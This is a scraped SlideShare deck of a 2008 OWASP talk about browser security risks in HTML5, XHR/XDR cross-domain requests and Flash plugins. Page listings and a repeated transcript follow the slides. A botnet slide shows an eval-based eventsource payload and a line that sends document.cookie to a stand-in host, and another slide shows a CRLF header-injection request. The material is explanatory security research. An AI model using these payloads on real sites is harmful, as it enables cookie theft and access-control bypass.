SlideShare a Scribd company logo
OWASP – Browser Security Roberto Suggi Liverani Security Consultant Security-Assessment.com 3 September 2008
Who am I? Roberto Suggi Liverani Security Consultant, CISSP - Security-Assessment.com 4+ years in information security, focusing on web application and network security OWASP New Zealand founder/leader
Agenda Introduction A look to the present The potential risks Some challenges HTML 5.0 WebApps (XHR) Browser Plugins OWASP approach to the problem OWASP Intrinsic Group
Introduction Present : web security focus is mainly on web apps rather than browsers But : browser bugs affect much more users than web application bugs
Introduction Browsers statistics from w3schools.com JavaScript statistics
Introduction The risks are not just in the numbers… Do you remember “On the job browser exploitation” talk of Mark Piper? Technologies evolve: HTML5 XHR Browser Plugin Current browser security progress mainly focused on: Reflected XSS filtering and CSRF protection Phishing web sites detection
Next Challenges HTML5 (W3C working draft) New features with a security impact: Origin-Policy Browsing contexts and navigation Custom protocol and content handlers Structured client-side storage Offline Web applications Cross-document messaging Server-sent events Web sockets
HMTL5 Relaxing Origin-Policy: Window objects origin-policy exceptions: Location object postMessage()  frames attribute XXX4 method  y.hello.com x.hello.com XSS Injection document.domain = hello.com Communication between 2 subdomains through XSS
HTML5 Browsing Contexts and Navigations Opener browsing context – 1.COM Auxiliary Browser Context - 3.COM Nested browser context - 2.COM Malicious Third party 3.COM (b) Iframe injection src=2.COM 1.COM (vulnerable) Cross Context Scripting between 2.COM and 3.COM (a) Injection in 1.COM of document.open pointing to 3.COM
HTML5 Custom Protocol and content handlers registerProtocolHandler() – ftp:, fax:, foo: registerContentHandler() – MIME type, text/foo A.COM B.COM navigator.registerContentHandler(‘text/foo', ‘foo?url=%s', ‘foo') <a  href=test.foo>Download </a> Test.foo served as text/foo redirection to: http://a.com/foo?url=b.com/test.foo
HTML5 Hijacking content or protocol handlers navigator.registerProtocolHandler(‘HTTPS', ‘foo?url=%s', ‘foo') Register Spamming Site tries to register multiple protocol/content handlers Multiple sites try registering video/mpeg content Leaking Intranet URLs User registers a certain content handler (text/foo) User clicks http://192.168.0.32/hello.foo User redirected to external site which handles text/foo Leaking HTTPS User redirected to site with HTTPS URL Leaking credentials in GET Request
HTML5 Structured Client Storage sessionStorage (adds data to the session for all pages under same domain)  localStorage (adds complex data to client’s cache) Methods: getItem(), setItem() Only protection: origin policy SQL, yes SQL!!! – to store more structured data Methods: openDatabase(), executeSQL() Objects: SQLResultSet, SQLResultSetRowList, SQLError More to come on “browser SQL injection”…
HTML5 Client Storage Attack Example (A. Trivero) Browser SQL Injection Example (A. Trivero) Cross-Directory Attack XSS in  www.geocities.com/user1  can read/write data from/to  www.geocities.com/user2 User Tracking -  UI put in client-storage in multiple sites (marketing, botnet, etc.) Cookie Resurrection
HTML5 Offline Web Applications Extensive Application Cache API <manifest>http://a.com/manifest</manifest> HTTP response with text/cache-manifest MIME type for manifest Manifest specifies how specific site content should be cached = application cache policy New items can be added to specific cached content with method add() Different versions of cached content for the same site Application Cache status can be queried: Uncached, Idle, Checking, Download, Updateready
HTML5 Application Cache Poisoning A.COM’s manifest allows caching of vulnerable HTML page containing DOM XSS DOM XSS manipulates data when viewed in off-line mode Attacking offline browser Off-line application cache content with stored XSS that sets navigator.onLine=TRUE
HTML5 Cross Document Messaging “ While this (origin policy) is an important security feature, it prevents pages from different domains from communicating even when those pages are not hostile” – 7.4 W3C HTML5 current draft postMessage(message, messagePort, targetOrigin) window.addEventListener('message', receiver, false); function receiver(e) { if (e.origin == ' http://a.com ') { if (e.data == ' Hello world ') { e.source.postMessage('Hello', e. origin ); } else { alert(e.data); }  }  } A.COM B.COM var o = document.getElementsByTagName('iframe')[0]; o.contentWindow.postMessage('Hello world', 'http://b.com/'); NOTE: this condition can be omitted or = *
HTML5 Server-Sent Events Dispatching DOM events into document that expect it RemoteEventTarget used to fetch data sent as EventStream (text/event-stream) from: Same site Allowed sites (XHR access control) <eventsource src=http://news.com/news.php onmessage=“var stream; event.stream.split(‘\n’); showNews(stream[0],stream[1],stream[2]);”> <eventsource> data: http://www.google.com/news/1\n data: http://www.yahoo/com/news/3\n data: http://bbc.co.uk/news/2\n EventStream PULLS
HTML5 Next generation web botnet – C&M interface BOTNET badsite.com/evil.php Stored XSS in botnet websites: <eventsource src=http://badsite.com/evil.php onmessage=“var stream; event.stream.split(‘\n’); eval(stream[0],stream[1],stream[2]);”> Data Stream (MIME: text/event-stream) Data: wait();\n Data: wait();\n Data: document.write(<img src=‘http://badsite.com/’+document.cookie);\n Botnet operates following XHR access control for data exchange
HTML5 Web Sockets – websocket(url); Botnet scenario applies as well Client at 123.com Server at aa.com GET ws://aa.com/ HTTP/1.1 Upgrade: WebSocket Connection: Upgrade Host: 123.com Origin: http://123.com Authorization: Basic d2FsbGU6ZXZl HTTP/1.1 101 Web Socket Protocol Handshake Upgrade: WebSocket Connection: Upgrade WebSocket-Origin: http://aa.com WebSocket-Location: ws://aa.com:80/ Data Framing Read/send data byte per byte Data Framing Send/read raw UTF8 data byte per byte Close TCP/IP connection – no handshake Close TCP/IP connection – no handshake
WebApps (XHR) XHR Access Control (GET and POST) Resource: aaa.com/test.txt Client: bbb.com JavaScript + XHR: new client = new XMLHttpRequest(); client.open(&quot;GET or POST&quot;, &quot;http://aaa.com/test.txt&quot;) client.onreadystatechange = function() { /* do something */ } client.send() HTTP Response: Access-Control-Allow-Origin: http://bbb.com Hello World! GET NOTE: the entire access control system relies on HTTP headers So what happens with an HTTP Splitting Attack? JavaScript + XHR: new client = new XMLHttpRequest(); client.open(&quot;GET or POST&quot;, &quot;http://aaa.com/test.txt %0A%0DAccess-Control-Allow-Origin: http://bbb.com%0a%0d%0a%0d &quot;) client.onreadystatechange = function() { /* do something */ } client.send()
WebApps (XHR) XHR Access Control (Other HTTP methods) Resource: aaa.com/test.txt Client: bbb.com JavaScript + XHR: new client = new XMLHttpRequest(); client.open(“OPTIONS&quot;, &quot;http://aaa.com/test.txt&quot;) client.onreadystatechange = function() { /* do something */ } client.send() HTTP Response: Access-Control-Allow-Origin: http://bbb.com Access-Control-Max-Age: 3628800 Preflight Request: OPTIONS JavaScript + XHR: new client = new XMLHttpRequest(); client.open(“DELETE&quot;, &quot;http://aaa.com/test.txt&quot;) client.onreadystatechange = function() { /* do something */ } client.send() DELETE NOTE: the entire access control system relies on HTTP headers
XHR Alternative – XDR (Xdomain Request) Cross-domain request developed by Microsoft Resource: aaa.com/xdr.txt Client: bbb.com JavaScript + XDR: xdr = new XDomainRequest(); xdr.open(“GET&quot;, “http://www.aaa.com/xdr.txt&quot;) HTTP Response: XDomainRequestAllowed=1 Hello! GET HTTP Request: GET /xdr.txt XDomainRequest: 1 Host: bbb.com NOTE: the entire XDR relies on HTTP headers
Browser Plugins Adobe Flash LSO (Local Shared Objects) Cookie system completely managed by Adobe 100KB cache data allowed by default Third Party LSO are allowed by default (100kb cache) LSO data stored and accessed “stealthily” Typically stored in: C:\Documents and Settings\[username]\Application Data\Macromedia\Flash Player Files in the format .sol This “feature” has already been exploited: United Virtualies -> PIE (Persistent Identification Element) Creates a unique ID for each browser and then stores in LSO
Browser Plugins ActionScript FileReference.Download bypasses browser security settings IKAT’s Paul Craig 0day technique to bypass kiosk software protection (IE’s security model) Something like: test.addEventListener(MouseEvent.CLICK, downloadFile); var fileRef:FileReference = new FileReference(); function downloadFile(event:MouseEvent):void { fileRef.download(new URLRequest(&quot;http://www.aaa.com/file.html&quot;), “file.html&quot;); }
OWASP Intrinsic Group Aid browser vendors, framework vendors in addressing current security issues Focus on: HTML5 Working Group XMLHTTPRequest Webapp Working Group Mozilla Firefox Adobe (AIR/Flash) Microsoft IE7 Microsoft .NET Struts Spring Apache Commons Soon: OWASP Top Ten Browser Security
Questions? [email_address] http://malerisch.net http://www.owasp.org/index.php/New_Zealand
References HTML5 http://www.whatwg.org/specs/web-apps/current-work XHR and XHR Level 2 https://wiki.mozilla.org/Cross_Site_XMLHttpRequest http://dev.w3.org/2006/webapi/XMLHttpRequest-2 Access Controls XHR http://www.w3.org/TR/access-control/ XDR http://msdn.microsoft.com/en-us/library/cc288108(VS.85).aspx http://lists.w3.org/Archives/Public/public-appformats/2008Mar/0017.html LSO http://epic.org/privacy/cookies/flash.html https://www.flashsec.org/wiki/Shared_Objects#Storage_location http://www.macromedia.com/support/documentation/en/flashplayer/help/settings_manager07.html http://www.adobe.com/products/flashplayer/articles/lso/ http://en.wikipedia.org/wiki/Local_Shared_Object
References HTML5 - Presentation http://www.owasp.org/index.php/AppSecEU08_HTML5 Abusing HTML 5 Structured Client-side Storage http://trivero.secdiscover.com/html5whitepaper.pdf Web Stats http://www.internetworldstats.com/stats.htm Browser Stats http://www.w3schools.com/browsers/browsers_stats.asp

More Related Content

What's hot (20)

PPTX
Types of attacks
Vivek Gandhi
 
PPTX
The CIA triad.pptx
GulnurAzat
 
PPTX
Email security - Netwroking
Salman Memon
 
PPTX
Wireless network security
Vishal Agarwal
 
PDF
Intrusion Detection System Project Report
Raghav Bisht
 
PPTX
Basics of Denial of Service Attacks
Hansa Nidushan
 
PPT
Network security cryptographic hash function
Mijanur Rahman Milon
 
PPTX
Browser Security by pratimesh Pathak ( Buldhana)
Pratimesh Pathak
 
PPTX
IP addressing and Subnetting PPT
Pijush Kanti Das
 
PPTX
Cyber Security Best Practices
Evolve IP
 
PPT
Intrusion detection system ppt
Sheetal Verma
 
PPTX
Cyber threats
kelsports
 
PPTX
Secure Socket Layer (SSL)
Samip jain
 
PPTX
Active and Passive Network Attacks
Pradipta Poudel
 
PPTX
Firewall and Types of firewall
Coder Tech
 
PDF
Wi-fi Hacking
Paul Gillingwater, MBA
 
PPTX
Dns presentation
Anurag Pandey
 
PPT
Types of attacks and threads
srivijaymanickam
 
PPTX
Transport Layer Security (TLS)
Arun Shukla
 
Types of attacks
Vivek Gandhi
 
The CIA triad.pptx
GulnurAzat
 
Email security - Netwroking
Salman Memon
 
Wireless network security
Vishal Agarwal
 
Intrusion Detection System Project Report
Raghav Bisht
 
Basics of Denial of Service Attacks
Hansa Nidushan
 
Network security cryptographic hash function
Mijanur Rahman Milon
 
Browser Security by pratimesh Pathak ( Buldhana)
Pratimesh Pathak
 
IP addressing and Subnetting PPT
Pijush Kanti Das
 
Cyber Security Best Practices
Evolve IP
 
Intrusion detection system ppt
Sheetal Verma
 
Cyber threats
kelsports
 
Secure Socket Layer (SSL)
Samip jain
 
Active and Passive Network Attacks
Pradipta Poudel
 
Firewall and Types of firewall
Coder Tech
 
Wi-fi Hacking
Paul Gillingwater, MBA
 
Dns presentation
Anurag Pandey
 
Types of attacks and threads
srivijaymanickam
 
Transport Layer Security (TLS)
Arun Shukla
 

Viewers also liked (20)

PDF
Browser security — ROOTS
Andre N. Klingsheim
 
PPTX
Browser Security 101
Stormpath
 
PDF
Web Browser Security - 2016 Comparative Test Results
NSS Labs
 
PPT
Web Browsers
Neha Sharma
 
PPT
Web browser privacy and security
amiable_indian
 
PPT
Trusteer Rapport – Browser Security - How It Works
trusteer
 
DOCX
Best topics for seminar
shilpi nagpal
 
PPT
Internet Security
Chris Rodgers
 
PPTX
Internet security powerpoint
Arifa Ali
 
PPTX
Software reuse ppt.
Sumit Biswas
 
PPTX
Digital Cinema
Sreenivas vasu
 
PPTX
Chrome O.S.
Sukaant Chaudhary
 
ODP
Top 10 Web Security Vulnerabilities
Carol McDonald
 
PDF
Securing Web Applications with Token Authentication
Stormpath
 
PPTX
Google chrome operating system
kondalarao7
 
PDF
Internet Security
Peter R. Egli
 
PPT
Web browser
Hardik Kakadiya
 
PPTX
Web Browsers
Aahmed Hussain
 
PPTX
5 pen pc technology
PRADEEP Cheekatla
 
PPTX
Cryptography.ppt
kusum sharma
 
Browser security — ROOTS
Andre N. Klingsheim
 
Browser Security 101
Stormpath
 
Web Browser Security - 2016 Comparative Test Results
NSS Labs
 
Web Browsers
Neha Sharma
 
Web browser privacy and security
amiable_indian
 
Trusteer Rapport – Browser Security - How It Works
trusteer
 
Best topics for seminar
shilpi nagpal
 
Internet Security
Chris Rodgers
 
Internet security powerpoint
Arifa Ali
 
Software reuse ppt.
Sumit Biswas
 
Digital Cinema
Sreenivas vasu
 
Chrome O.S.
Sukaant Chaudhary
 
Top 10 Web Security Vulnerabilities
Carol McDonald
 
Securing Web Applications with Token Authentication
Stormpath
 
Google chrome operating system
kondalarao7
 
Internet Security
Peter R. Egli
 
Web browser
Hardik Kakadiya
 
Web Browsers
Aahmed Hussain
 
5 pen pc technology
PRADEEP Cheekatla
 
Cryptography.ppt
kusum sharma
 
Ad

Similar to Browser Security (20)

PPT
Browser security
Uday Anand
 
PDF
Html5 security
tsinghua university
 
PDF
Building Client-Side Attacks with HTML5 Features
Conviso Application Security
 
PPT
HTML5 hacking
Blueinfy Solutions
 
PPTX
Html5 security
Krishna T
 
PDF
Krzysztof Kotowicz - Hacking HTML5
DefconRussia
 
PDF
XCS110_All_Slides.pdf
ssuser01066a
 
PDF
Hacking Vulnerable Websites to Bypass Firewalls
Netsparker
 
PDF
Talk about html5 security
Huang Toby
 
PPTX
Cos 432 web_security
Michael Freyberger
 
PPT
Same Origin Policy Weaknesses
kuza55
 
PDF
Hacking HTML5 offensive course (Zeronights edition)
Krzysztof Kotowicz
 
PDF
Dom Hackking & Security - BlackHat Preso
Shreeraj Shah
 
PDF
CNIT 129S: 13: Attacking Users: Other Techniques (Part 1 of 2)
Sam Bowne
 
PDF
CNIT 129S: 13: Attacking Users: Other Techniques (Part 2 of 2)
Sam Bowne
 
PDF
Browser Horror Stories
EC-Council
 
PDF
Html5 Application Security
chuckbt
 
PPTX
Warning Ahead: SecurityStorms are Brewing in Your JavaScript
Cyber Security Alliance
 
PDF
Securing your web application through HTTP headers
Andre N. Klingsheim
 
PDF
Secure java script-for-developers
n|u - The Open Security Community
 
Browser security
Uday Anand
 
Html5 security
tsinghua university
 
Building Client-Side Attacks with HTML5 Features
Conviso Application Security
 
HTML5 hacking
Blueinfy Solutions
 
Html5 security
Krishna T
 
Krzysztof Kotowicz - Hacking HTML5
DefconRussia
 
XCS110_All_Slides.pdf
ssuser01066a
 
Hacking Vulnerable Websites to Bypass Firewalls
Netsparker
 
Talk about html5 security
Huang Toby
 
Cos 432 web_security
Michael Freyberger
 
Same Origin Policy Weaknesses
kuza55
 
Hacking HTML5 offensive course (Zeronights edition)
Krzysztof Kotowicz
 
Dom Hackking & Security - BlackHat Preso
Shreeraj Shah
 
CNIT 129S: 13: Attacking Users: Other Techniques (Part 1 of 2)
Sam Bowne
 
CNIT 129S: 13: Attacking Users: Other Techniques (Part 2 of 2)
Sam Bowne
 
Browser Horror Stories
EC-Council
 
Html5 Application Security
chuckbt
 
Warning Ahead: SecurityStorms are Brewing in Your JavaScript
Cyber Security Alliance
 
Securing your web application through HTTP headers
Andre N. Klingsheim
 
Secure java script-for-developers
n|u - The Open Security Community
 
Ad

More from Roberto Suggi Liverani (13)

PDF
I got 99 trends and a # is all of them
Roberto Suggi Liverani
 
PDF
Augmented reality in your web proxy
Roberto Suggi Liverani
 
PPTX
Cross Context Scripting attacks & exploitation
Roberto Suggi Liverani
 
PDF
Window Shopping Browser - Bug Hunting in 2012
Roberto Suggi Liverani
 
PDF
None More Black - the Dark Side of SEO
Roberto Suggi Liverani
 
PDF
Bridging the gap - Security and Software Testing
Roberto Suggi Liverani
 
PDF
Defending Against Application DoS attacks
Roberto Suggi Liverani
 
PDF
Exploiting Firefox Extensions
Roberto Suggi Liverani
 
PPT
Black Energy18 - Russian botnet package analysis
Roberto Suggi Liverani
 
PPT
XPath Injection
Roberto Suggi Liverani
 
PPT
Web Spam Techniques
Roberto Suggi Liverani
 
PPT
Reversing JavaScript
Roberto Suggi Liverani
 
PPT
Ajax Security
Roberto Suggi Liverani
 
I got 99 trends and a # is all of them
Roberto Suggi Liverani
 
Augmented reality in your web proxy
Roberto Suggi Liverani
 
Cross Context Scripting attacks & exploitation
Roberto Suggi Liverani
 
Window Shopping Browser - Bug Hunting in 2012
Roberto Suggi Liverani
 
None More Black - the Dark Side of SEO
Roberto Suggi Liverani
 
Bridging the gap - Security and Software Testing
Roberto Suggi Liverani
 
Defending Against Application DoS attacks
Roberto Suggi Liverani
 
Exploiting Firefox Extensions
Roberto Suggi Liverani
 
Black Energy18 - Russian botnet package analysis
Roberto Suggi Liverani
 
XPath Injection
Roberto Suggi Liverani
 
Web Spam Techniques
Roberto Suggi Liverani
 
Reversing JavaScript
Roberto Suggi Liverani
 
Ajax Security
Roberto Suggi Liverani
 

Recently uploaded (20)

PDF
HCIP-Data Center Facility Deployment V2.0 Training Material (Without Remarks ...
mcastillo49
 
PDF
July Patch Tuesday
Ivanti
 
PDF
LLMs.txt: Easily Control How AI Crawls Your Site
Keploy
 
PDF
Complete JavaScript Notes: From Basics to Advanced Concepts.pdf
haydendavispro
 
PPTX
OpenID AuthZEN - Analyst Briefing July 2025
David Brossard
 
PDF
From Code to Challenge: Crafting Skill-Based Games That Engage and Reward
aiyshauae
 
PPTX
From Sci-Fi to Reality: Exploring AI Evolution
Svetlana Meissner
 
PDF
Chris Elwell Woburn, MA - Passionate About IT Innovation
Chris Elwell Woburn, MA
 
PDF
"Beyond English: Navigating the Challenges of Building a Ukrainian-language R...
Fwdays
 
PDF
Newgen 2022-Forrester Newgen TEI_13 05 2022-The-Total-Economic-Impact-Newgen-...
darshakparmar
 
PDF
Reverse Engineering of Security Products: Developing an Advanced Microsoft De...
nwbxhhcyjv
 
PDF
[Newgen] NewgenONE Marvin Brochure 1.pdf
darshakparmar
 
PDF
SWEBOK Guide and Software Services Engineering Education
Hironori Washizaki
 
PDF
Presentation - Vibe Coding The Future of Tech
yanuarsinggih1
 
PDF
CIFDAQ Weekly Market Wrap for 11th July 2025
CIFDAQ
 
PDF
Log-Based Anomaly Detection: Enhancing System Reliability with Machine Learning
Mohammed BEKKOUCHE
 
PPTX
Q2 FY26 Tableau User Group Leader Quarterly Call
lward7
 
PDF
Agentic AI lifecycle for Enterprise Hyper-Automation
Debmalya Biswas
 
PPTX
AUTOMATION AND ROBOTICS IN PHARMA INDUSTRY.pptx
sameeraaabegumm
 
PDF
Empower Inclusion Through Accessible Java Applications
Ana-Maria Mihalceanu
 
HCIP-Data Center Facility Deployment V2.0 Training Material (Without Remarks ...
mcastillo49
 
July Patch Tuesday
Ivanti
 
LLMs.txt: Easily Control How AI Crawls Your Site
Keploy
 
Complete JavaScript Notes: From Basics to Advanced Concepts.pdf
haydendavispro
 
OpenID AuthZEN - Analyst Briefing July 2025
David Brossard
 
From Code to Challenge: Crafting Skill-Based Games That Engage and Reward
aiyshauae
 
From Sci-Fi to Reality: Exploring AI Evolution
Svetlana Meissner
 
Chris Elwell Woburn, MA - Passionate About IT Innovation
Chris Elwell Woburn, MA
 
"Beyond English: Navigating the Challenges of Building a Ukrainian-language R...
Fwdays
 
Newgen 2022-Forrester Newgen TEI_13 05 2022-The-Total-Economic-Impact-Newgen-...
darshakparmar
 
Reverse Engineering of Security Products: Developing an Advanced Microsoft De...
nwbxhhcyjv
 
[Newgen] NewgenONE Marvin Brochure 1.pdf
darshakparmar
 
SWEBOK Guide and Software Services Engineering Education
Hironori Washizaki
 
Presentation - Vibe Coding The Future of Tech
yanuarsinggih1
 
CIFDAQ Weekly Market Wrap for 11th July 2025
CIFDAQ
 
Log-Based Anomaly Detection: Enhancing System Reliability with Machine Learning
Mohammed BEKKOUCHE
 
Q2 FY26 Tableau User Group Leader Quarterly Call
lward7
 
Agentic AI lifecycle for Enterprise Hyper-Automation
Debmalya Biswas
 
AUTOMATION AND ROBOTICS IN PHARMA INDUSTRY.pptx
sameeraaabegumm
 
Empower Inclusion Through Accessible Java Applications
Ana-Maria Mihalceanu
 

Browser Security

  • 1. OWASP – Browser Security Roberto Suggi Liverani Security Consultant Security-Assessment.com 3 September 2008
  • 2. Who am I? Roberto Suggi Liverani Security Consultant, CISSP - Security-Assessment.com 4+ years in information security, focusing on web application and network security OWASP New Zealand founder/leader
  • 3. Agenda Introduction A look to the present The potential risks Some challenges HTML 5.0 WebApps (XHR) Browser Plugins OWASP approach to the problem OWASP Intrinsic Group
  • 4. Introduction Present : web security focus is mainly on web apps rather than browsers But : browser bugs affect much more users than web application bugs
  • 5. Introduction Browsers statistics from w3schools.com JavaScript statistics
  • 6. Introduction The risks are not just in the numbers… Do you remember “On the job browser exploitation” talk of Mark Piper? Technologies evolve: HTML5 XHR Browser Plugin Current browser security progress mainly focused on: Reflected XSS filtering and CSRF protection Phishing web sites detection
  • 7. Next Challenges HTML5 (W3C working draft) New features with a security impact: Origin-Policy Browsing contexts and navigation Custom protocol and content handlers Structured client-side storage Offline Web applications Cross-document messaging Server-sent events Web sockets
  • 8. HMTL5 Relaxing Origin-Policy: Window objects origin-policy exceptions: Location object postMessage() frames attribute XXX4 method y.hello.com x.hello.com XSS Injection document.domain = hello.com Communication between 2 subdomains through XSS
  • 9. HTML5 Browsing Contexts and Navigations Opener browsing context – 1.COM Auxiliary Browser Context - 3.COM Nested browser context - 2.COM Malicious Third party 3.COM (b) Iframe injection src=2.COM 1.COM (vulnerable) Cross Context Scripting between 2.COM and 3.COM (a) Injection in 1.COM of document.open pointing to 3.COM
  • 10. HTML5 Custom Protocol and content handlers registerProtocolHandler() – ftp:, fax:, foo: registerContentHandler() – MIME type, text/foo A.COM B.COM navigator.registerContentHandler(‘text/foo', ‘foo?url=%s', ‘foo') <a href=test.foo>Download </a> Test.foo served as text/foo redirection to: http://a.com/foo?url=b.com/test.foo
  • 11. HTML5 Hijacking content or protocol handlers navigator.registerProtocolHandler(‘HTTPS', ‘foo?url=%s', ‘foo') Register Spamming Site tries to register multiple protocol/content handlers Multiple sites try registering video/mpeg content Leaking Intranet URLs User registers a certain content handler (text/foo) User clicks http://192.168.0.32/hello.foo User redirected to external site which handles text/foo Leaking HTTPS User redirected to site with HTTPS URL Leaking credentials in GET Request
  • 12. HTML5 Structured Client Storage sessionStorage (adds data to the session for all pages under same domain) localStorage (adds complex data to client’s cache) Methods: getItem(), setItem() Only protection: origin policy SQL, yes SQL!!! – to store more structured data Methods: openDatabase(), executeSQL() Objects: SQLResultSet, SQLResultSetRowList, SQLError More to come on “browser SQL injection”…
  • 13. HTML5 Client Storage Attack Example (A. Trivero) Browser SQL Injection Example (A. Trivero) Cross-Directory Attack XSS in www.geocities.com/user1 can read/write data from/to www.geocities.com/user2 User Tracking - UI put in client-storage in multiple sites (marketing, botnet, etc.) Cookie Resurrection
  • 14. HTML5 Offline Web Applications Extensive Application Cache API <manifest>http://a.com/manifest</manifest> HTTP response with text/cache-manifest MIME type for manifest Manifest specifies how specific site content should be cached = application cache policy New items can be added to specific cached content with method add() Different versions of cached content for the same site Application Cache status can be queried: Uncached, Idle, Checking, Download, Updateready
  • 15. HTML5 Application Cache Poisoning A.COM’s manifest allows caching of vulnerable HTML page containing DOM XSS DOM XSS manipulates data when viewed in off-line mode Attacking offline browser Off-line application cache content with stored XSS that sets navigator.onLine=TRUE
  • 16. HTML5 Cross Document Messaging “ While this (origin policy) is an important security feature, it prevents pages from different domains from communicating even when those pages are not hostile” – 7.4 W3C HTML5 current draft postMessage(message, messagePort, targetOrigin) window.addEventListener('message', receiver, false); function receiver(e) { if (e.origin == ' http://a.com ') { if (e.data == ' Hello world ') { e.source.postMessage('Hello', e. origin ); } else { alert(e.data); } } } A.COM B.COM var o = document.getElementsByTagName('iframe')[0]; o.contentWindow.postMessage('Hello world', 'http://b.com/'); NOTE: this condition can be omitted or = *
  • 17. HTML5 Server-Sent Events Dispatching DOM events into document that expect it RemoteEventTarget used to fetch data sent as EventStream (text/event-stream) from: Same site Allowed sites (XHR access control) <eventsource src=http://news.com/news.php onmessage=“var stream; event.stream.split(‘\n’); showNews(stream[0],stream[1],stream[2]);”> <eventsource> data: http://www.google.com/news/1\n data: http://www.yahoo/com/news/3\n data: http://bbc.co.uk/news/2\n EventStream PULLS
  • 18. HTML5 Next generation web botnet – C&M interface BOTNET badsite.com/evil.php Stored XSS in botnet websites: <eventsource src=http://badsite.com/evil.php onmessage=“var stream; event.stream.split(‘\n’); eval(stream[0],stream[1],stream[2]);”> Data Stream (MIME: text/event-stream) Data: wait();\n Data: wait();\n Data: document.write(<img src=‘http://badsite.com/’+document.cookie);\n Botnet operates following XHR access control for data exchange
  • 19. HTML5 Web Sockets – websocket(url); Botnet scenario applies as well Client at 123.com Server at aa.com GET ws://aa.com/ HTTP/1.1 Upgrade: WebSocket Connection: Upgrade Host: 123.com Origin: http://123.com Authorization: Basic d2FsbGU6ZXZl HTTP/1.1 101 Web Socket Protocol Handshake Upgrade: WebSocket Connection: Upgrade WebSocket-Origin: http://aa.com WebSocket-Location: ws://aa.com:80/ Data Framing Read/send data byte per byte Data Framing Send/read raw UTF8 data byte per byte Close TCP/IP connection – no handshake Close TCP/IP connection – no handshake
  • 20. WebApps (XHR) XHR Access Control (GET and POST) Resource: aaa.com/test.txt Client: bbb.com JavaScript + XHR: new client = new XMLHttpRequest(); client.open(&quot;GET or POST&quot;, &quot;http://aaa.com/test.txt&quot;) client.onreadystatechange = function() { /* do something */ } client.send() HTTP Response: Access-Control-Allow-Origin: http://bbb.com Hello World! GET NOTE: the entire access control system relies on HTTP headers So what happens with an HTTP Splitting Attack? JavaScript + XHR: new client = new XMLHttpRequest(); client.open(&quot;GET or POST&quot;, &quot;http://aaa.com/test.txt %0A%0DAccess-Control-Allow-Origin: http://bbb.com%0a%0d%0a%0d &quot;) client.onreadystatechange = function() { /* do something */ } client.send()
  • 21. WebApps (XHR) XHR Access Control (Other HTTP methods) Resource: aaa.com/test.txt Client: bbb.com JavaScript + XHR: new client = new XMLHttpRequest(); client.open(“OPTIONS&quot;, &quot;http://aaa.com/test.txt&quot;) client.onreadystatechange = function() { /* do something */ } client.send() HTTP Response: Access-Control-Allow-Origin: http://bbb.com Access-Control-Max-Age: 3628800 Preflight Request: OPTIONS JavaScript + XHR: new client = new XMLHttpRequest(); client.open(“DELETE&quot;, &quot;http://aaa.com/test.txt&quot;) client.onreadystatechange = function() { /* do something */ } client.send() DELETE NOTE: the entire access control system relies on HTTP headers
  • 22. XHR Alternative – XDR (Xdomain Request) Cross-domain request developed by Microsoft Resource: aaa.com/xdr.txt Client: bbb.com JavaScript + XDR: xdr = new XDomainRequest(); xdr.open(“GET&quot;, “http://www.aaa.com/xdr.txt&quot;) HTTP Response: XDomainRequestAllowed=1 Hello! GET HTTP Request: GET /xdr.txt XDomainRequest: 1 Host: bbb.com NOTE: the entire XDR relies on HTTP headers
